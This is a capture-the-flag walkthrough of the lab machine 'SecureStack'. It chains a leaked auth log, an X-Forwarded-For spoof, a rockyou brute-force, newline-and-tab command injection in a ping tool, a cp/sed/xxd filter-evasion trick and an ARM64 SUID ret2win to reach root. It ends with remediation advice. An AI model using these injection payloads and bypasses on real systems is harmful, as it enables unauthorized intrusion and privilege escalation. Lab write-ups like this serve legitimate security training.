ROOT

HACKERDNA · HARDENED CORPORATE SERVER — WEB TO KERNEL-ADJACENT PWN

SecureStack Systems

log-leaked user → XFF gate bypass → newline-injection RCE → SUID ARM64 ret2win → root

MACHINE	CATEGORY	DIFFICULTY
SecureStack	Web · Binary Exploitation	Hard
TARGET	**RESULT**	**OPERATOR**
Linux · aarch64	user + root	Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

Five layers, no free passes

Category **Web + Pwn** · Difficulty **Hard** · aarch64 · nginx/Flask front, SUID-root binary back

SecureStack fronts a Flask "network management portal" that only talks to **internal** clients, guarded by a `X-Forwarded-For` allow-list. Getting a session needs a credential that isn't guessable until reconnaissance turns up an **exposed authentication log** naming the one account that actually logs in. From there an authenticated **network-diagnostic** tool runs `ping` with a filter that blocks the obvious shell metacharacters — but not a newline — yielding command execution as `www-data`. The real prize is a **SUID-root ARM64 binary** with a textbook stack overflow and a convenient one-gadget win path; the only difficulty is smuggling the exploit past a command filter that word-blocks half the toolbox.

KILL CHAIN

#	LAYER	TECHNIQUE	GAINED
1	Recon	Directory fuzzing → exposed `/auth.log`	valid username
2	Access gate	`X-Forwarded-For` spoof (internal-only bypass)	login reachable
3	Credential	rockyou brute of the named user	portal session
4	RCE	Newline injection in the ping tool	`www-data` + user flag
5	Privesc	SUID aarch64 stack overflow → ret2win	root

01 · RECONNAISSANCE

Three ports, one talkative log

nginx on 80 fronts a Flask app; SSH on 22; a tar-pitted FTP on 21 is a decoy.

The portal ("SecureStack Systems") exposes only `/login`, `/dashboard`, `/logout` and — found by fuzzing, not linked anywhere — `/diagnostic`. Every request without the right source address is met with "*Access denied: Your IP is not authorized. Internal network access only.*" The credential wall is real: the login is not SQL-injectable, has no user-enumeration oracle, and rate-limits under load. Guessing `admin` against tens of thousands of rockyou entries yields nothing — because `admin` is not a real account.

Content discovery is what breaks it open: a wordlist sweep with extensions turns up a world-readable `/auth.log`. Its historical `AUTH SUCCESS` lines name exactly one account that ever authenticated.

```
$ FFUF … -E .LOG,.TXT,.BAK → /AUTH.LOG (200)                    RECON
```

```
$ grep 'AUTH SUCCESS' auth.log | grep -oE 'user=[a-z]+' | sort -u
user=operator
# every other user appears only under AUTH FAILED — operator is the one real login
```

THE PIVOT

The log is the entire point of the "careful reconnaissance" framing: it converts an unguessable-username brute into a single-user rockyou run.

02 · GATE BYPASS & CREDENTIAL

Spoof internal, then brute the real user

The "internal network only" check trusts a client-supplied `X-Forwarded-For` header. Any RFC-1918 / loopback value satisfies it, so `X-Forwarded-For: 127.0.0.1` on every request removes the wall. With the real username in hand, a rockyu brute of `operator` (failures are a fixed-size "*Invalid credentials*" page; success is a 302 to `/dashboard`) recovers the password quickly.

```
$ FFUF -D 'USERNAME=OPERATOR&PASSWORD=FUZZ' -H 'X-FORWARDED-FOR: 127.0.0.1' -FS 3367  BRUTE

[Status: 302]  password : <redacted>
$ curl -i -H 'X-Forwarded-For: 127.0.0.1' -d 'username=operator&password=<redacted>' …/login
HTTP/1.1 302 FOUND   Location: /dashboard
Set-Cookie: session=…   # Flask session {logged_in:true, username:operator}
```

03 · RCE — NEWLINE INJECTION

The ping tool forgot about \n

Authenticated, `/diagnostic` runs `ping` against a user-supplied host and returns the output.

The input filter rejects the usual separators — `; | & $()`, back-ticks, and even the space character — but it does **not** reject a newline. A newline is a perfectly good command separator to the shell that runs the ping, so `host=127.0.0.1%0a<cmd>` executes `<cmd>` as `www-data`. Because space is filtered, arguments are separated with **tabs** (`%09`).

POST /DIAGNOSTIC HOST=127.0.0.1<LF>ID — RCE

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data …
--- 127.0.0.1 ping statistics ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ host=127.0.0.1%0acat%09/home/developer/flag-user.txt   # tab = space
<user flag — redacted>
```

LESSON

Denylisting shell metacharacters is a losing game — `\n`, `\t`, `${IFS}`, and glob tricks all survive. Pass arguments as an `execve` vector, never a shell string.

04 · THE SUID TARGET

A root-owned aarch64 message box

`/usr/local/bin/box` — `-rwsr-xr-x root root`, statically linked, not stripped.

Exfiltrated byte-perfect via the RCE (base64 through the HTTP response; sha256 matches the on-host copy) and analysed with radare2. `checksec`: **No PIE** (fixed base `0x400000`), **NX**, a canary in *some* functions — but crucially not the vulnerable one. `main` disables ASLR (`personality(0x40000)`) and, being SUID, calls `setuid(0)`/`setgid(0)` up front — so the process is already **real-uid 0** before any user input is read.

The bug is in `vulnerable_function`: a `read()` of `0x100` bytes into a buffer inside a `0x50`-byte frame — no canary on this path.

RADARE2 · VULNERABLE_FUNCTION 0X400760

```
0x400760  stp x29, x30, [sp, -0x50]!     ; 0x50 frame, saved LR @ sp+8
0x40079c  add x0, sp, 0x10               ; buf = sp+0x10
0x4007a0  mov x2, 0x100                  ; count = 256
0x4007ac  bl  __read                     ; read(0, buf, 256)  -> overflow
```

The overflow runs past this frame into `main`'s: `main`'s saved return address sits at buffer offset **72**. And the binary hands us a win path — `admin_shell` gates a `system()` call behind a `getuid()` check, but the call itself loads `/bin/sh` and is reachable directly at **0x400744**, skipping the gate.

RADARE2 · ADMIN_SHELL 0X400724

```
0x400724  … getuid ; cmp ; b.ne         ; the check we jump PAST
0x400744  adrp/add x0, 0x48b048          ; x0 = &"/bin/sh"
0x40074c  ldr  x0, [x0]
0x400750  bl   system                    ; system("/bin/sh") — as root
```

WHY RET2WIN, NOT A FULL ROP

NX + a canary-less path + No-PIE + a pre-`setuid(0)` `system("/bin/sh")` gadget collapse the whole thing to a single return address. Overwrite offset 72 with `0x400744`.

05 · ROOT — DELIVERY UNDER A HOSTILE FILTER

Smuggle the exploit, then just return

The payload is trivial; getting it to the binary's stdin through the web filter is the work.

The overflow needs `box`'s stdin = `72 pad + 0x400744 + padding` (to consume the 256-byte read) followed by shell commands for the spawned `/bin/sh`. But the diagnostic filter blocks spaces, pipes and redirects — and word-blocks `perl` and `bash` — so a crafted stdin can't be piped in directly. The escape: write a real script to disk using only allowed tokens, then execute it (inside a file, pipes and Python run unfiltered).

File-write without a redirect operator: seed a file with `cp /etc/hostname`, replace its known contents with a hex blob using `sed -i`, then decode with `xxd -r -p in out` (an output-file argument, no `>`). Every character stays in the allowed set.

SINGLE POST /DIAGNOSTIC — TABS=%09, NEWLINES=%0A — ROOT

```
host=127.0.0.1
	cp	/etc/hostname	/tmp/.h
	sed	-i s/<hostname>/<hex-of-exploit-script>/	/tmp/.h
	xxd	-r -p /tmp/.h /tmp/.x
	sh	/tmp/.x
# /tmp/.x (decoded):  python3 -c 'write(pad·72 + 0x400744 + …)' | /usr/local/bin/box
```

RESPONSE — OWNED

```
SecureStack Message Box v2.0
Enter your message: uid=0(root) gid=0(root) groups=0(root),33(www-data)
<root flag — redacted>
```

USER **fa59a136-••••••••••••••••••••••••••** REDACTED

ROOT **f60dec09-••••••••••••••••••••••••••** REDACTED

06 · REMEDIATION

Where each layer should have held

Don't serve logs. `/auth.log` under web root handed over the username and the whole difficulty of the box. Keep logs outside the document root and off the static handler.

Trust the socket, not the header. `X-Forwarded-For` is attacker-controlled; derive "internal" from the real peer address (or mTLS), and only honour forwarded headers from known proxies.

Never build shell strings from input. The ping tool should `execve("/bin/ping", ["ping","-c","2", host])` with no shell — closing metacharacter *and* newline injection at once.

Fix the primitive, drop the privilege. Bound the `read()` to the buffer, compile with a canary on every function and full RELRO/PIE, and — above all — don't ship a root-SUID binary that reads untrusted input. Remove the `admin_shell` gadget entirely.